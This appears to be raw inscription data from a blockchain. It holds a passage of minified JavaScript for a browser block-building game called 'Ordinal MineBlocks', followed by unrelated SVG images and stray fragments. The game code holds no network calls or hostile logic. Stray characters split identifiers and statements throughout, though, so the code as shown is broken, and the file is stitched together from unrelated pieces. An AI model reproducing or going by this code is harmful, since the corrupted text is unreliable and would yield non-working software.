:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
59.37.100 libvpx-vp9g
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg viewBox="0 0 566.93 566.93" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><clipPath id="a"><path d="m136.03 136.03h294.87v294.87h-294.87z"/></clipPath><g fill="#fff"><path d="m283.46 0c-156.55 0-283.46 126.91-283.46 283.46s126.91 283.47 283.46 283.47 283.47-126.93 283.47-283.47-126.93-283.46-283.47-283.46z" fill="#0066b2"/><path d="m283.46 14.17c-148.72 0-269.29 120.57-269.29 269.29s120.57 269.3 269.29 269.3 269.3-120.57 269.3-269.3-120.57-269.29-269.3-269.29z" fill="#fff"/><patM
h d="m283.46 26.93c-141.68 0-256.53 114.86-256.53 256.53s114.86 256.54 256.53 256.54 256.54-114.85 256.54-256.54-114.85-256.53-256.54-256.53zm0 416.69a160.16 160.16 0 1 1 160.16-160.16 160.15 160.15 0 0 1 -160.16 160.16z" fill="#dc052d"/></g><path clip-path="url(#a)" d="m142.65 327a146.77 146.77 0 0 0 32.5 56.43v-66.43l-37.56-54.87a146.84 146.84 0 0 0 5.06 64.87m75.82 52.65v-76.07l-43-62.81v-57.61a147.82 147.82 0 0 0 -20.54 28.21l20.2 29.51v76.12l43 62.8v35.76a148 148 0 0 0 32.87 11.67zm43.33-89.52 43 62.8v76.11l-4M
3-62.81v-76.06l-43-62.81v-76.11l43 62.8zm43.33-13.41-43-62.81v-76.07l43 62.81v76.11l43 62.81v76.11l-43-62.81zm-65.24-134.07a146.81 146.81 0 0 0 -56.89 32.94l35.51 51.87v76.11l43 62.8v62.86a147.7 147.7 0 0 0 122.49-37.89l-35.51-51.87v-76.12l-43-62.81v-62.86a146.81 146.81 0 0 0 -65.58 5m151.9 183.4v-76.14l-43-62.81v-35.75a147.86 147.86 0 0 0 -32.88-11.68l32.54 47.54v76.11l43 62.81v57.61a147.83 147.83 0 0 0 20.53-28.2zm32.49-86.17a146.84 146.84 0 0 0 -32.49-56.43v66.49l37.55 54.86a146.8 146.8 0 0 0 -5.06-64.92" fill="M
#0066b2"/><path d="m112 336.45 7.28 15.5-11.84 22.38c-1.78 3.33-3.32 6.05-3.32 6.05l.16.29s3.13.19 6.89.51l25.22 2.27 9 14.55-54.5 31.84-8.71-14 22.82-13.28c5.32-3.08 9.33-5.25 9.33-5.25l-.16-.29s-2.75-.2-8.5-1.05l-23.21-3.45-.16-.29 9.7-21.35c2.42-5.28 3.75-7.7 3.75-7.7l-.16-.29s-4 2.18-9.49 5l-23.56 11.81-7-14.92zm41.72 68.79 12.56 11.16-25.22 30c-4.14 5-3.93 10.22 2.33 15.15s11.4 3.91 15.28-1.28l23.26-31.55 13.79 9.59-23.88 32.34c-10.95 14.84-25.13 11.91-37.39 2.26s-18.45-22.75-6.57-36.91zm25.13 20.42-15.5 10.83M
-.26-.21 6.91-17.6zm26.58 18.12 16.4 6 9.27 31.66c2 6.85 2.82 10.47 2.82 10.47l.48.14s1.07-4.71 2.64-10.47l6.73-25.19 16 3.79-16.3 61-17-4.08-10.53-33.1c-2-6.43-2.9-10.5-2.9-10.5l-.48-.14s-1.41 5-3.19 10.31l-8.6 25.67-15.45-5.7zm122.79 54.61c.35 15-9 25.24-26.91 26.45-16.73 1.16-32.39-6.46-33.31-30.84-.93-24.73 12.76-34 28.82-35.07 17.39-1.18 27.45 8.54 29.18 21.74l-16.9 1.14c-1.55-5.72-4.61-9.09-12.06-8.58-7 .47-11.85 6.88-11.32 19.57.57 13.27 6.07 18.39 13.86 17.87s11.19-4.25 11.56-11.1zm3.78-43.61 15.67-6 8.86 2M
1.22 19.56-8.92-10.25-20.69 14.85-7.86 28 56.58-14.87 7.89-11.08-22.5-20.47 9.33 9.73 23.17-15.67 6-24.33-58.15zm58.61-29.62 30.21-28.95 9.72 9.54-18.94 18.15 7.23 8 18.34-17.57 9.49 9.3-18.95 18.17 7.86 8.8 21.34-20.45 9.72 9.54-33.8 32.39zm37.75-37.9 8.64-15.15 32.78-3.78c7.09-.82 10.8-1 10.8-1l.22-.45s-4.43-1.88-9.8-4.38l-23.69-10.89 6.44-15.15 57.25 26.37-6.89 16-34.41 4.82c-6.68.94-10.84 1.09-10.84 1.09l-.22.45s4.64 2.22 9.62 4.89l23.84 12.82-8.23 14.26zm-360.92-208.91 12.66 5-10.1 28.03 11.82 3.91 9.46-26.23 M
12.35 4.9-9.18 25.45 22.11 7.18-4.75 16.11-60.48-19.7zm77.32-41.66c10.91 9.89 12.79 23.44 1.89 37.24-10 12.63-25.34 18.69-45.21 3.94-19.61-14.54-17-31.74-6.62-44.9 11-13.94 25.05-15.11 36-7.35l-10.5 13.29c-5.12-2.88-9.93-2.56-14.72 3.5s-3.73 13.56 6.9 21.53c10.17 7.61 18.11 7.33 22.54 1.73 4.73-6 3.81-10.85-.82-15.56zm41.48-71.44c11.15-5.15 22.07-6.27 26.88 5.13 3.95 9.33 1.44 13.41-3.43 17.5l.17.38c5.2-1.21 12.17-1 16.61 9.42 5.33 12.53-2.84 19.78-14 24.94l-23.58 10.9-28.27-56.43zm9.47 22.87c4.37-2 5.62-4.06 3.86-M
8.27-1.7-4.06-4.58-4.37-8.8-2.42l-9.42 4.35 5.32 10.53zm10.66 23.06c4.82-2.23 6.14-4.12 4.1-8.94-1.9-4.51-5.24-4.62-10.07-2.39l-8.14 3.76 5.74 11.39zm94.68-4.46h-17.91l-5.14-11.35-21.67 1.86-3.13 12-17.65 3.1 17.49-66 19.52-1.68zm-27.93-23.51-5.39-12.28c-1.86-4.17-3.26-7.88-3.26-7.88h-.33s-.75 3.9-1.87 8.33l-3.21 13zm43.88 4.99-14.66-44.8 18.92 3.6 5.74 19c1.08 3.63 2 7.49 2 7.49l.32.07s2.46-3.12 4.95-6l13.09-14.91 18.71 4.57-31.88 34.71-4.88 20.94-16.55-3.59zm61.67-25.52 39.72 21.81-6.92 11.73-24.47-13.46-4.9 9.62M
 22.63 12.42-6.76 11.44-21.9-12-5.38 10.49 23.86 13.1-6.92 11.73-37.54-20.61zm61.69 38.89 19.27 20.62c9.86 10.55 12.22 20.73.48 31-7.5 6.56-13 8.37-19.57 5.8l-10.08 25.44-11.9-14.55 9.22-20.77-5.5-5.88-14.83 14.77-12.18-11.57zm-8.67 32.3 6.52 7c3.63 3.88 6.68 4 10.73.42s3.93-6.85.3-10.74l-6.86-7.34zm24.58 108.71-5.76-16.48 18.63-27.22c4-5.78 6.32-8.82 6.32-8.82l-.19-.46s-4.32 2.15-9.78 4.59l-23.75 10.75-7.22-14.8 57.5-26 7.6 15.72-18.92 29.14c-3.63 5.55-6.28 8.9-6.28 8.9l.19.46s4.72-2 10-4.06l25.31-9.6 5.38 15.56z"
 fill="#fff"/></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/plain;charset=utf-8
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
